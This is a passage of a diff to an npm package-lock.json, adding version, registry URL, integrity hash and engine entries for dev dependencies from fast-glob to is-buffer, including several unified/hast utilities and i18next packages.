"sha512-eS8dRJOckyo9maw9Tu5O5RUi/4inFLrnoLkBe3cPfDMx3WZioXtmOew4TXQaxq7Rhl4xjDtR7c6x8nNTxOvbFw==", + "dev": true, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/files-pipe/node_modules/fast-glob": { + "version": "3.2.12", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.12.tgz", + "integrity": "sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/find-yarn-workspace-root2": { + "version": "1.2.16", + "resolved": "https://registry.npmjs.org/find-yarn-workspace-root2/-/find-yarn-workspace-root2-1.2.16.tgz", + "integrity": "sha512-hr6hb1w8ePMpPVUK39S4RlwJzi+xPLuVuG8XlwXU3KD5Yn3qgBWVfy3AzNlDhWvE1EORCE65/Qm26rFQt3VLVA==", + "dev": true, + "dependencies": { + "micromatch": "^4.0.2", + "pkg-dir": "^4.2.0" + } + }, + "node_modules/fluent_conv": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fluent_conv/-/fluent_conv-3.2.0.tgz", + "integrity": "sha512-EhVRTpoeAk+vchaGXgpQT+cv+89kujnRPn7wBzouNDoNG8Fv2q00mon3l/S2a1g5pM/4/8B35fIchi0mG7WexA==", + "dev": true, + "dependencies": { + "@fluent/syntax": "0.19.0" + } + }, + "node_modules/format": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/format/-/format-0.2.2.tgz", + "integrity": "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==", + "dev": true, + "engines": { + "node": ">=0.4.x" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "dev": true, + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", + "dev": true + }, + "node_modules/github-slugger": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-1.5.0.tgz", + "integrity": "sha512-wIh+gKBI9Nshz2o46B0B3f5k/W+WI9ZAv6y5Dn5WJ5SK1t0TnDimB4WE5rmTD05ZAIn8HALCZVmCsvj0w0v0lw==", + "dev": true + }, + "node_modules/glob": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", + "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^5.0.1", + "once": "^1.3.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/global-agent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-3.0.0.tgz", + "integrity": "sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q==", + "dev": true, + "dependencies": { + "boolean": "^3.0.1", + "es6-error": "^4.1.1", + "matcher": "^3.0.0", + "roarr": "^2.15.3", + "semver": "^7.3.2", + "serialize-error": "^7.0.1" + }, + "engines": { + "node": ">=10.0" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/globalthis": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz", + "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "node_modules/gray-matter": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-4.0.3.tgz", + "integrity": "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==", + "dev": true, + "dependencies": { + "js-yaml": "^3.13.1", + "kind-of": "^6.0.2", + "section-matter": "^1.0.0", + "strip-bom-string": "^1.0.0" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/has-package-exports": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/has-package-exports/-/has-package-exports-1.3.0.tgz", + "integrity": "sha512-e9OeXPQnmPhYoJ63lXC4wWe34TxEGZDZ3OQX9XRqp2VwsfLl3bQBy7VehLnd34g3ef8CmYlBLGqEMKXuz8YazQ==", + "dev": true, + "dependencies": { + "@ljharb/has-package-exports-patterns": "^0.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hast-util-from-html": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/hast-util-from-html/-/hast-util-from-html-1.0.2.tgz", + "integrity": "sha512-LhrTA2gfCbLOGJq2u/asp4kwuG0y6NhWTXiPKP+n0qNukKy7hc10whqqCFfyvIA1Q5U5d0sp9HhNim9gglEH4A==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "hast-util-from-parse5": "^7.0.0", + "parse5": "^7.0.0", + "vfile": "^5.0.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-from-parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-7.1.2.tgz", + "integrity": "sha512-Nz7FfPBuljzsN3tCQ4kCBKqdNhQE2l0Tn+X1ubgKBPRoiDIu1mL08Cfw4k7q71+Duyaw7DXDN+VTAp4Vh3oCOw==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "@types/unist": "^2.0.0", + "hastscript": "^7.0.0", + "property-information": "^6.0.0", + "vfile": "^5.0.0", + "vfile-location": "^4.0.0", + "web-namespaces": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-has-property": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/hast-util-has-property/-/hast-util-has-property-2.0.1.tgz", + "integrity": "sha512-X2+RwZIMTMKpXUzlotatPzWj8bspCymtXH3cfG3iQKV+wPF53Vgaqxi/eLqGck0wKq1kS9nvoB1wchbCPEL8sg==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-heading-rank": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/hast-util-heading-rank/-/hast-util-heading-rank-2.1.1.tgz", + "integrity": "sha512-iAuRp+ESgJoRFJbSyaqsfvJDY6zzmFoEnL1gtz1+U8gKtGGj1p0CVlysuUAUjq95qlZESHINLThwJzNGmgGZxA==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-is-element": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/hast-util-is-element/-/hast-util-is-element-2.1.3.tgz", + "integrity": "sha512-O1bKah6mhgEq2WtVMk+Ta5K7pPMqsBBlmzysLdcwKVrqzZQ0CHqUPiIVspNhAG1rvxpvJjtGee17XfauZYKqVA==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "@types/unist": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-parse-selector": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-3.1.1.tgz", + "integrity": "sha512-jdlwBjEexy1oGz0aJ2f4GKMaVKkA9jwjr4MjAAI22E5fM/TXVZHuS5OpONtdeIkRKqAaryQ2E9xNQxijoThSZA==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-7.2.3.tgz", + "integrity": "sha512-RujVQfVsOrxzPOPSzZFiwofMArbQke6DJjnFfceiEbFh7S05CbPt0cYN+A5YeD3pso0JQk6O1aHBnx9+Pm2uqg==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "@types/parse5": "^6.0.0", + "hast-util-from-parse5": "^7.0.0", + "hast-util-to-parse5": "^7.0.0", + "html-void-elements": "^2.0.0", + "parse5": "^6.0.0", + "unist-util-position": "^4.0.0", + "unist-util-visit": "^4.0.0", + "vfile": "^5.0.0", + "web-namespaces": "^2.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-raw/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true + }, + "node_modules/hast-util-to-estree": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/hast-util-to-estree/-/hast-util-to-estree-2.3.3.tgz", + "integrity": "sha512-ihhPIUPxN0v0w6M5+IiAZZrn0LH2uZomeWwhn7uP7avZC6TE7lIiEh2yBMPr5+zi1aUCXq6VoYRgs2Bw9xmycQ==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0", + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/unist": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "estree-util-attach-comments": "^2.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "hast-util-whitespace": "^2.0.0", + "mdast-util-mdx-expression": "^1.0.0", + "mdast-util-mdxjs-esm": "^1.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-object": "^0.4.1", + "unist-util-position": "^4.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-html": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-8.0.4.tgz", + "integrity": "sha512-4tpQTUOr9BMjtYyNlt0P50mH7xj0Ks2xpo8M943Vykljf99HW6EzulIoJP1N3eKOSScEHzyzi9dm7/cn0RfGwA==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "@types/unist": "^2.0.0", + "ccount": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "hast-util-raw": "^7.0.0", + "hast-util-whitespace": "^2.0.0", + "html-void-elements": "^2.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0", + "stringify-entities": "^4.0.0", + "zwitch": "^2.0.4" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-parse5": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-7.1.0.tgz", + "integrity": "sha512-YNRgAJkH2Jky5ySkIqFXTQiaqcAtJyVE+D5lkN6CdtOqrnkLfGYYrEcKuHOJZlp+MwjSwuD3fZuawI+sic/RBw==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0", + "web-namespaces": "^2.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-2.0.1.tgz", + "integrity": "sha512-nAxA0v8+vXSBDt3AnRUNjyRIQ0rD+ntpbAp4LnPkumc5M9yUbSMa4XDU9Q6etY4f1Wp4bNgvc1yjiZtsTTrSng==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hastscript": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-7.2.0.tgz", + "integrity": "sha512-TtYPq24IldU8iKoJQqvZOuhi5CyCQRAbvDOX0x1eW6rsHSxa/1i2CCiptNTotGHJ3VoHRGmqiv6/D3q113ikkw==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "hast-util-parse-selector": "^3.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/html-entities": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz", + "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ] + }, + "node_modules/html-escaper": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-3.0.3.tgz", + "integrity": "sha512-RuMffC89BOWQoY0WKGpIhn5gX3iI54O6nRA0yC124NYVtzjmFWBIiFd8M0x+ZdX0P9R4lADg1mgP8C7PxGOWuQ==", + "dev": true + }, + "node_modules/html-minifier-terser": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-7.2.0.tgz", + "integrity": "sha512-tXgn3QfqPIpGl9o+K5tpcj3/MN4SfLtsx2GWwBC3SSd0tXQGyF3gsSqad8loJgKZGM3ZxbYDd5yhiBIdWpmvLA==", + "dev": true, + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "~5.3.2", + "commander": "^10.0.0", + "entities": "^4.4.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.15.1" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": "^14.13.1 || >=16.0.0" + } + }, + "node_modules/html-void-elements": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-2.0.1.tgz", + "integrity": "sha512-0quDb7s97CfemeJAnW9wC0hw78MtW7NU3hqtCD75g2vFlDLt36llsYD7uB7SUzojLMP24N5IatXf7ylGXiGG9A==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/human-signals": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-3.0.1.tgz", + "integrity": "sha512-rQLskxnM/5OCldHo+wNXbpVgDn5A17CUoKX+7Sokwaknlq7CdSnphy0W39GU8dw59XiCXmFXDg4fRuckQRKewQ==", + "dev": true, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/i18next": { + "version": "21.10.0", + "resolved": "https://registry.npmjs.org/i18next/-/i18next-21.10.0.tgz", + "integrity": "sha512-YeuIBmFsGjUfO3qBmMOc0rQaun4mIpGKET5WDwvu8lU7gvwpcariZLNtL0Fzj+zazcHUrlXHiptcFhBMFaxzfg==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://locize.com" + }, + { + "type": "individual", + "url": "https://locize.com/i18next.html" + }, + { + "type": "individual", + "url": "https://www.i18next.com/how-to/faq#i18next-is-awesome.-how-can-i-support-the-project" + } + ], + "dependencies": { + "@babel/runtime": "^7.17.2" + } + }, + "node_modules/i18next-fluent": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/i18next-fluent/-/i18next-fluent-2.0.0.tgz", + "integrity": "sha512-k69kvftj02YNMtls1oy5TkbsjEDUlkfXcApBIv3gCnQTTDPTNVekweIGC6V5m/yC2ce6SNqkzlPpdB24OgEEgg==", + "dev": true, + "dependencies": { + "@fluent/bundle": "^0.13.0", + "fluent_conv": "^3.1.0" + } + }, + "node_modules/i18next-fs-backend": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/i18next-fs-backend/-/i18next-fs-backend-2.1.5.tgz", + "integrity": "sha512-7fgSH8nVhXSBYPHR/W3tEXXhcnwHwNiND4Dfx9knzPzdsWTUTL/TdDVV+DY0dL0asHKLbdoJaXS4LdVW6R8MVQ==", + "dev": true + }, + "node_modules/i18next-fs-fluent-backend": { + "version": "0.1.0", + "resolved": "git+ssh://git@github.com/pluiedev/i18next-fs-fluent-backend.git#1d3f22618f6d4941ae68d78dcd6c16961794a30d", + "dev": true, + "license": "MIT", + "dependencies": { + "fluent_conv": "^3.1.0", + "i18next-fs-backend": "^2.0.1" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/immutable": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.3.0.tgz", + "integrity": "sha512-0AOCmOip+xgJwEVTQj1EfiDDOkPmuyllDuTuEX+DDXUgapLAsBIfkg3sxCYyCEA8mQqZrrxPUGjcOQ2JS3WLkg==", + "dev": true + }, + "node_modules/import-meta-resolve": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/import-meta-resolve/-/import-meta-resolve-2.2.2.tgz", + "integrity": "sha512-f8KcQ1D80V7RnqVm+/lirO9zkOxjGxhaTC1IPrBGd3MEfNgmNG67tSUO9gTi2F3Blr2Az6g1vocaxzkVnWl9MA==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true + }, + "node_modules/inline-style-parser": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz", + "integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==", + "dev": true + }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "dev": true, + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-arrayish": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz", + "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==", + "dev": true + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": 